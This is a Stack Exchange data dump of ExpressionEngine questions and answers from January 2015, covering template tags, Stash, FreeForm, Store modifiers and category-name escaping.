  <row Id="28618" PostTypeId="2" ParentId="28598" CreationDate="2015-01-23T00:44:21.630" Score="1" Body="&lt;p&gt;There is not really a built in way to preselect the most expensive modifier by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that, then you should be able to get around that as long as you setup some publishing standards. The easiest way should be to make sure that either the first or last modifier is the most expensive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have done that you should simply need to add the modifier as a hidden field. It would look something along the lines of the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product entry_id=&quot;{entry_id}&quot;}&#xA;&#xA;  &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;  {if modifiers}&#xA;      {modifiers}&#xA;        Price: {price_inc_mod}&#xA;&#xA;        {modifier_options}&#xA;          {if option_last}&#xA;          {!-- this could also be if option_first if you decided to make the first option most expesnsive --}&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;{modifier_input_name}&quot; value=&quot;{option_id}&quot;&amp;gt;&#xA;          {/if}&#xA;        {/modifier_options}&#xA;      {/modifiers}&#xA;  {else}&#xA;    {!-- if no modifiers show regualr price --}&#xA;    Price: {price}&#xA;  {/if}&#xA;  &amp;lt;input type=&quot;text&quot; name=&quot;item_qty&quot; value=&quot;&quot; /&amp;gt;&#xA;  &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Add to Cart&quot; /&amp;gt;&#xA;{/exp:store:product}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This assumes that you are passing in the entry id and that each product has its own form and quantity. IF you were wanting all the results to have a single form submit with the ability to add multiple items to the cart at a single time you would need to wrap this in the &lt;a href=&quot;https://www.exp-resso.com/docs/product_form_tag.html&quot; rel=&quot;nofollow&quot;&gt;Product Form&lt;/a&gt; tag pair and adjust the template at bit.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-01-23T00:44:21.630" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28619" PostTypeId="2" ParentId="28608" CreationDate="2015-01-23T01:04:00.427" Score="1" Body="&lt;p&gt;You would need to use something like the &lt;a href=&quot;https://devot-ee.com/add-ons/allow-ee-code&quot; rel=&quot;nofollow&quot;&gt;Allow EE Code&lt;/a&gt; plugin if you want to parse EE tags like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that FreeForm has a fieldtype already built into the Pro version that allows you to select one of your available forms and insert it in the page. This is probably the ideal approach so your editors don't have to worry about proper EE syntax.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-01-23T01:04:00.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28620" PostTypeId="1" CreationDate="2015-01-23T04:24:52.557" Score="1" ViewCount="1259" Body="&lt;p&gt;I have a channel field that prompts a content editor to copy and paste a Google maps embed code for a specific destination. Using either default EE tag behavior, or jQuery, I'd like to remove certain attributes from the default &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt; markup-- specifically, the &quot;height&quot;, &quot;width&quot; and &quot;style&quot; attributes that Google includes by default in the embed code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if there's a way to do this via EE, but I tried the following line of jQuery to at least remove the &lt;code&gt;style&lt;/code&gt; attribute to no avail:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $('div.item iframe').removeAttr('style');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anybody have any ideas as to how I might achieve this? I'm currently overriding the attributes via my stylesheet using &lt;code&gt;important!&lt;/code&gt; declarations, but I'd prefer to remove them from the markup entirely, if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any insight here.&lt;/p&gt;&#xA;" OwnerUserId="3777" LastActivityDate="2017-07-20T10:09:40.997" Title="Remove inline CSS and size attributes from user-inputted iframe?" Tags="|channel-entries|jquery|css|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28621" PostTypeId="1" CreationDate="2015-01-23T07:17:59.353" Score="1" ViewCount="53" Body="&lt;p&gt;I have an EE category name that contains an ampersand-- i.e. &quot;Coffee &amp;amp; Tea.&quot; I'm displaying this name as the header for a listing of cafes and tea houses using the &lt;code&gt;{category_name}&lt;/code&gt; field, and I'm trying to figure out the best way to properly escape the character for output to HTML. It seems that I can actually name the category within EE as &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;Coffee &amp;amp;amp; Tea&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so that it will be properly rendered, although I'm not sure if this approach is at all problematic? Ideally, I'd like for EE to handle it automatically. Any thoughts? Thanks for any insight here.&lt;/p&gt;&#xA;" OwnerUserId="3777" LastActivityDate="2015-01-23T16:02:09.697" Title="Escaping characters in category names?" Tags="|categories|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28622" PostTypeId="2" ParentId="28605" CreationDate="2015-01-23T08:24:03.410" Score="1" Body="&lt;p&gt;If you grab the latest release of &lt;a href=&quot;https://devot-ee.com/add-ons/low-search-store&quot; rel=&quot;nofollow&quot;&gt;Low Search Store&lt;/a&gt;, you can use the &lt;code&gt;store:sku&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using &lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;Low Search v3.4.0+&lt;/a&gt;, you can also use the parameter &lt;code&gt;store:search:sku&lt;/code&gt;, which behaves like a &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#field-search&quot; rel=&quot;nofollow&quot;&gt;Field Search parameter&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2015-05-28T13:28:11.390" LastActivityDate="2015-05-28T13:28:11.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28623" PostTypeId="2" ParentId="28621" CreationDate="2015-01-23T09:55:24.753" Score="2" Body="&lt;p&gt;That would be fine and is the 'proper' way to write a literal ampersand. You shouldn't get any problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The {category_name} field is something variable. An arbitrary string that can change without the category id changing. Think of it like the 'human readable' identifier for the category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For that reason if you are doing any template logic to check for particular categories you should always use the {category_id} as it is a constant and cannot (or should not) change.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-01-23T09:55:24.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28624" PostTypeId="2" ParentId="28620" CreationDate="2015-01-23T09:59:35.577" Score="0" Body="&lt;p&gt;I am unable to test it right now but I don't think you'll have much luck here. Because the iFrame is essentially a different site you will not be able to use Javascript to manipulate its content due to cross domain issues. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically you cannot easily and reliably manipulate a page from domain B using Javascript from domain A.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if it will fit your exact application but you may want to look at something like Google Maps for ExpressionEngine. This would allow your users to create a map directly on your site rather than pasting in code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because the map would be generated on your site you can then use Google Maps styling options to make it look however you wish.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-01-23T09:59:35.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28625" PostTypeId="2" ParentId="28620" CreationDate="2015-01-23T10:04:28.027" Score="0" Body="&lt;p&gt;The only way to do it is server-side. You will need to create a custom extension, that will take user's submission for this field and convert it to the form that you like, using regular expressions and some PHP coding.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-01-23T10:04:28.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28626" PostTypeId="1" CreationDate="2015-01-23T13:53:18.463" Score="1" ViewCount="303" Body="&lt;p&gt;Multipage form on a site that is using Structure. The form is built in the Composer and added to the page with a custom field from the publish page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously page one works as the url is www.domain.com/name-of-page-with-form&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I click through to page two of the form www.domain.com/name-of-page-with-form/page2, I am getting a 404 page not found. So I tried using Freebie to ignore that last segment but it looks like it is making FreeForm ignore the segment as well, thus displaying the first page of the form still.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to use Structure and FreeForm Pro Multi Page forms??&lt;/p&gt;&#xA;" OwnerUserId="541" LastActivityDate="2019-09-13T13:01:10.107" Title="Solspace FreeForm Pro Multi Page Form URL + Structure = 404" Tags="|solspace-freeform|solspace|structure|freebie|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28627" PostTypeId="2" ParentId="28626" CreationDate="2015-01-23T14:14:26.187" Score="0" Body="&lt;p&gt;When I have a Channel entries with paging on and Structure I also use the add-on switchee. May be it can also help with a FreeForm Pro Multi pages form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_2}&quot; parse=&quot;inward&quot;}&#xA;&#xA;{case value=&quot;#^Page(\d+)$#|''&quot;}&#xA;Put here your Form&#xA;{/case}&#xA;&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It could work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Francois&lt;/p&gt;&#xA;" OwnerUserId="482" LastActivityDate="2015-01-23T14:14:26.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28628" PostTypeId="2" ParentId="24810" CreationDate="2015-01-23T14:15:44.110" Score="3" Body="&lt;p&gt;OK, I found a quick fix / workaround for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What the Forms Module looks to be doing is checking the IP address of where the form data is coming from, to the IP address that the form thinks it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;system/expressionengine/third_party/forms/act.forms.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And at around line 82 you should see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Same IP?&#xA;    if ($this-&amp;gt;EE-&amp;gt;forms-&amp;gt;data['ip_address'] != $this-&amp;gt;EE-&amp;gt;forms-&amp;gt;ip_address)&#xA;    {&#xA;        return $this-&amp;gt;return_error('missing_data', $this-&amp;gt;EE-&amp;gt;lang-&amp;gt;line('form:error:missing_data') . '(DIFFERENT_IP)');&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I commented out these lines and it's working again. Why it started to do this I've no idea, the External IP has not changed, I've cleared the cache, I've rebooted the server, still no luck. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;FINAL EDIT : We have a load balancing server. The IP address that the web server sees for that server is obviously different to the external IP address the visitor comes in on. Two different IP addresses. Why it just started happening now is still a mystery.&lt;/p&gt;&#xA;" OwnerUserId="4968" LastEditorUserId="4968" LastEditDate="2015-01-27T10:58:36.437" LastActivityDate="2015-01-27T10:58:36.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28629" PostTypeId="2" ParentId="28621" CreationDate="2015-01-23T16:02:09.697" Score="3" Body="&lt;p&gt;It's always been curious to me that EE doesn't automatically encode entities in category names. But this &lt;a href=&quot;https://github.com/amphibian/format_characters.ee_addon&quot; rel=&quot;nofollow&quot;&gt;quick plugin&lt;/a&gt; will do the trick for you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:format_characters}{category_name}{/exp:format_characters}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-01-23T16:02:09.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28630" PostTypeId="1" CreationDate="2015-01-23T18:03:48.210" Score="0" ViewCount="46" Body="&lt;p&gt;I am using campaign monitor on a expressionengine website. I copy/paste my code from campaign monitor in my footer. There's only a input for my e-mail field and another input to submit. The problem I am facing right now is that when I click on submit the page only refresh. It doesn't go where the action parameter of my form tag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;...&quot; method=&quot;post&quot;&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;    &amp;lt;label for=&quot;fieldEmail&quot;&amp;gt;Email&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;input id=&quot;fieldEmail&quot; name=&quot;cm-ituykik-ituykik&quot; type=&quot;email&quot; required /&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;    &amp;lt;button type=&quot;submit&quot;&amp;gt;Subscribe&amp;lt;/button&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be 100% sure that the problem was my code, I tried to link a mailchimp's newsletter and it did the same thing. When I click on submit, the page only refresh and nothing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExpressionEngine version : 2.5.3&lt;/p&gt;&#xA;" OwnerUserId="4975" LastActivityDate="2016-05-20T11:52:29.447" Title="Newsletter input email only refresh page when submit" Tags="|campaignmonitor|newsletter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28631" PostTypeId="1" AcceptedAnswerId="28746" CreationDate="2015-01-23T18:59:50.257" Score="4" ViewCount="233" Body="&lt;h1&gt;Use case&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The front page of a site has a region that should display the most recent item of featured content. Since this content can come from various channels, it needs to display custom channel fields depending on the channel that it originates from. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Approach&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'm trying to output the value of a custom field using stash but am only able to output the literal value of the variable. I'm using example code found on the stash repo at: &lt;a href=&quot;https://github.com/croxton/Stash/wiki/Mapping-custom-fields-to-a-common-nomenclature&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/croxton/Stash/wiki/Mapping-custom-fields-to-a-common-nomenclature&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my code looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- make a list of your channel prefixes --}&#xA;{exp:stash:set_list name=&quot;channels&quot;}&#xA;    {stash:channel}article{/stash:channel}&#xA;    {stash:channel}book{/stash:channel}&#xA;    {stash:channel}project{/stash:channel}&#xA;    {stash:channel}service{/stash:channel}&#xA;{/exp:stash:set_list}&#xA;&#xA;{!-- make a list of your common field suffixes --}&#xA;{exp:stash:set_list name=&quot;fields&quot;}&#xA;    {stash:field}subtitle{/stash:field}&#xA;    {stash:field}year{/stash:field}&#xA;    {stash:field}description{/stash:field}&#xA;    {stash:field}body{/stash:field}&#xA;    {stash:field}image{/stash:field}&#xA;{/exp:stash:set_list}&#xA;&#xA;{!-- map channels and fields to generate tag pairs --}&#xA;{exp:stash:set name=&quot;mapped_fields&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot; type=&quot;snippet&quot;}&#xA;   {exp:stash:get_list name=&quot;fields&quot;}&#xA;      {stash:{field}}&#xA;         {exp:stash:get_list:nested name=&quot;channels&quot;}&#xA;            {{channel}-{field}}&#xA;         {/exp:stash:get_list:nested}&#xA;      {/stash:{field}}&#xA;   {/exp:stash:get_list}&#xA;{/exp:stash:set}&#xA;&#xA;{!-- capture the data --}&#xA;{exp:stash:set parse_tags=&quot;yes&quot; type=&quot;snippet&quot;}&#xA;   {exp:channel:entries channel='{exp:stash:get_list name=&quot;channels&quot; backspace=&quot;1&quot;}{channel}|{/exp:stash:get_list}' parse=&quot;inward&quot;}&#xA;&#xA;   {mapped_fields}&#xA;&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries status=&quot;Front page featured&quot; orderby=&quot;date|edit_date&quot; sort=&quot;desc&quot; limit=&quot;1&quot; }&#xA;&#xA;    {title} &amp;lt;br&amp;gt;&#xA;&#xA;    {exp:stash:get name=&quot;subtitle&quot;}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Outputs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Dr. Strangelove or: &#xA;{project-title}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;{project-title}&lt;/code&gt; should render &lt;code&gt;How I Learned to Stop Worrying and Love the Bomb&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Edit&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I've moved my channel entries to a stash embed and now calling the &lt;code&gt;{subtitle}&lt;/code&gt; variable doesn't evaluate. However, calling &lt;code&gt;{mapped_fields}&lt;/code&gt; returns:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:subtitle}How I Learned to Stop Worrying and Love the Bomb{/stash:subtitle}&#xA;{stash:description}Dr. Strangelove, is a 1964 black comedy film that satirizes the cold war fears of a nuclear conflict between the USSR and the US. The film was directed, produced, and co-written by Stanley ...{/stash:description}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, I'm unable to access these values as individual variables within my view template.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Edit 2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;My current embedded view template looks like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries status=&quot;Front page featured&quot; orderby=&quot;date|edit_date&quot; sort=&quot;desc&quot; limit=&quot;1&quot;}&#xA;&#xA;    {subtitle}&amp;lt;br&amp;gt;&#xA;&#xA;    {mapped_fields}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried variations on the variable syntax including &lt;code&gt;{exp:stash:get name=&quot;subtitle&quot;}&lt;/code&gt; and &lt;code&gt;{exp:stash:get name=&quot;subtitle&quot; type=&quot;snippet&quot;}&lt;/code&gt; as well as wrapping the channel entries tag w/ &lt;code&gt;{exp:stash:parse process=&quot;end&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strangely, if I have a channel prefix where the channel doesn't have a corresponding field, e.g., &lt;code&gt;service-subtitle&lt;/code&gt; then that will render &lt;code&gt;{service-subtitle}&lt;/code&gt; in the view when calling &lt;code&gt;{subtitle}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Edit 3&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Here's a test example that simplifies template architecture and produces similar results as described above. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;test.group - index.html&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- make a list of your channel prefixes --}&#xA;{exp:stash:set_list name=&quot;channels&quot;}&#xA;    {stash:channel}article{/stash:channel}&#xA;    {stash:channel}book{/stash:channel}&#xA;    {stash:channel}project{/stash:channel}&#xA;{/exp:stash:set_list}&#xA;&#xA;{!-- make a list of your common field suffixes --}&#xA;{exp:stash:set_list name=&quot;fields&quot;}&#xA;    {stash:field}subtitle{/stash:field}&#xA;    {stash:field}description{/stash:field}&#xA;    {stash:field}body{/stash:field}&#xA;    {stash:field}image{/stash:field}&#xA;{/exp:stash:set_list}&#xA;&#xA;{!-- map channels and fields to generate tag pairs --}&#xA;{exp:stash:set name=&quot;mapped_fields&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot; type=&quot;snippet&quot;}&#xA;   {exp:stash:get_list name=&quot;fields&quot;}&#xA;      {stash:{field}}&#xA;         {exp:stash:get_list:nested name=&quot;channels&quot;}&#xA;            {{channel}-{field}}&#xA;         {/exp:stash:get_list:nested}&#xA;      {/stash:{field}}&#xA;   {/exp:stash:get_list}&#xA;{/exp:stash:set}&#xA;&#xA;{!-- capture the data --}&#xA;{exp:stash:set parse_tags=&quot;yes&quot; type=&quot;snippet&quot;}&#xA;   {exp:channel:entries channel='{exp:stash:get_list name=&quot;channels&quot; backspace=&quot;1&quot;}{channel}|{/exp:stash:get_list}' parse=&quot;inward&quot;}&#xA;&#xA;   {mapped_fields}&#xA;&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&#xA;{!-- embed the view --}&#xA;{stash:embed:test}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;stash_templates - test.html&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries status=&quot;Front page featured&quot; orderby=&quot;date|edit_date&quot; sort=&quot;desc&quot; limit=&quot;1&quot;}&#xA;&#xA;    {subtitle}&amp;lt;br&amp;gt;&#xA;&#xA;    {mapped_fields}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Rendered result (in browser)&lt;/h3&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{subtitle}&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;{stash:subtitle} Test subtitle {/stash:subtitle} {stash:description}&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Test description {/stash:description} {stash:body} {book-body}&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Test body {/stash:body} {stash:image} {/stash:image}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3322" LastEditorUserId="3322" LastEditDate="2015-01-30T18:41:39.243" LastActivityDate="2015-01-30T19:24:25.460" Title="Using stash to render custom field value rather than string literal" Tags="|stash|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28632" PostTypeId="2" ParentId="28630" CreationDate="2015-01-23T19:03:47.053" Score="0" Body="&lt;p&gt;You have forgotten to close the form tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="210" LastActivityDate="2015-01-23T19:03:47.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28633" PostTypeId="1" AcceptedAnswerId="28634" CreationDate="2015-01-23T21:20:19.970" Score="0" ViewCount="31" Body="&lt;p&gt;I know someone out there has done this before. &#xA;I need to build a publications page that will show it's list of publications by a given year which has been filled in a channel field. I've googled I looked at the EE docs and I am not quite sure how to build this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a channel field that will be filled with a 4 number year my content managers.&#xA;Here is my basics. It of course lists all years in descending order but i need to make a separate page for &quot;2015, 2014, 2013, etc.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for looking.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;   channel=&quot;publications&quot; &#xA;   orderby=&quot;pub_year&quot;&#xA;   sort=&quot;desc&quot;&#xA;   paginate=&quot;both&quot;&#xA;   limit=&quot;8&quot;&#xA;   }&#xA;&#xA;          &amp;lt;h3 style=&quot;font-size: 1em; margin-bottom:3px;&quot;&amp;gt;{pub_year}&amp;lt;/h3&amp;gt;&#xA;&#xA;          &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{pub_year}&quot;&amp;gt;{title}.&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt; &#xA;         &amp;lt;!-- Etc. --&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2015-01-26T18:09:17.353" Title="Content on a page defined by text in a field, publications by year" Tags="|channel-entries|templates|fieldtype|fields|channel-fields|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28634" PostTypeId="2" ParentId="28633" CreationDate="2015-01-23T22:52:57.147" Score="0" Body="&lt;p&gt;If you could use the search parameter in conjunction with the url so you could access each year with something like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://yoursite.com/template_group/year/2015&quot; rel=&quot;nofollow&quot;&gt;http://yoursite.com/template_group/year/2015&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your code you could do: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;   channel=&quot;publications&quot; &#xA;   orderby=&quot;pub_year&quot;&#xA;   search:pub_year=&quot;={last_segment}&quot;&#xA;   sort=&quot;desc&quot;&#xA;   paginate=&quot;both&quot;&#xA;   limit=&quot;8&quot;&#xA;   }&#xA;&#xA;          &amp;lt;h3 style=&quot;font-size: 1em; margin-bottom:3px;&quot;&amp;gt;{pub_year}&amp;lt;/h3&amp;gt;&#xA;&#xA;          &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{pub_year}&quot;&amp;gt;{title}.&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt; &#xA;         &amp;lt;!-- Etc. --&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2015-01-23T22:52:57.147" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28636" PostTypeId="1" AcceptedAnswerId="28638" CreationDate="2015-01-25T07:25:39.733" Score="0" ViewCount="55" Body="&lt;p&gt;I have a page where I want to display either a featured image or an image gallery in the left corner of a text block, which wraps around the image.  Pretty basic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use just a single image for the story, I have a class that shows a border around the image. If I decide to use a gallery (via a grid field), the images rotate, and the user can click on them to view larger versions.  Also pretty simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The complication is evaluating whether either of the two is empty, and if so, show the one that has content. Further, if neither the gallery or single image have any content, show nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I attached my code in Image1&#xA;You can also view an &lt;a href=&quot;https://sciannahall.usm.edu/about/lofty-return&quot; rel=&quot;nofollow noreferrer&quot;&gt;example here&lt;/a&gt; of the gallery, and &lt;a href=&quot;https://sciannahall.usm.edu/give-back&quot; rel=&quot;nofollow noreferrer&quot;&gt;HERE&lt;/a&gt; of what a single image is supposed to look like (second link is not coded, only &quot;About&quot; template is).  The main &quot;About&quot; link is where I have a single image uploaded, but does not show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you all for any help you can give!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ie5Uw.png&quot; alt=&quot;Gallery and Single Image code with conditionals&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2016-05-30T20:42:06.923" Title="Evaluate two conditionals for content" Tags="|conditionals|ifelse|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28637" PostTypeId="1" CreationDate="2015-01-25T11:20:04.067" Score="1" ViewCount="45" Body="&lt;p&gt;Is there a way to search custom member fields from the control panel? This question was asked in April 13 (&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9146/is-there-a-good-control-panel-add-on-that-provides-more-robust-member-search-fun&quot;&gt;Is there a good control panel add-on that provides more robust member search functionality?&lt;/a&gt;) but I'm hoping something's changed since then!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there's no way to do it, how complex would a module would it be to build? I wouldn't be building myself – just want an idea of how feasible outsourcing something like this would be...&lt;/p&gt;&#xA;" OwnerUserId="3000" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2015-01-25T11:20:04.067" Title="Search member custom fields from control panel" Tags="|members|control-panel|search|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28638" PostTypeId="2" ParentId="28636" CreationDate="2015-01-25T14:02:39.333" Score="0" Body="&lt;p&gt;Have you tried to check for the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/grid.html#total-rows&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;total_rows&lt;/code&gt;&lt;/a&gt; variable?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if gallery_section:total_rows &amp;gt; 0}&#xA;    {gallery_section}&#xA;        [...]&#xA;    {/gallery_section}&#xA;{if:elseif about_image_single}&#xA;    [...]&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2015-01-25T14:02:39.333" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
